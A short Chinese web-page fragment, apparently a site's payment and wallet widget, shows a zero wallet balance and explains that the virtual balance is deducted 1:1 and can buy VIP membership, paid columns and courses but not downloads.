扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值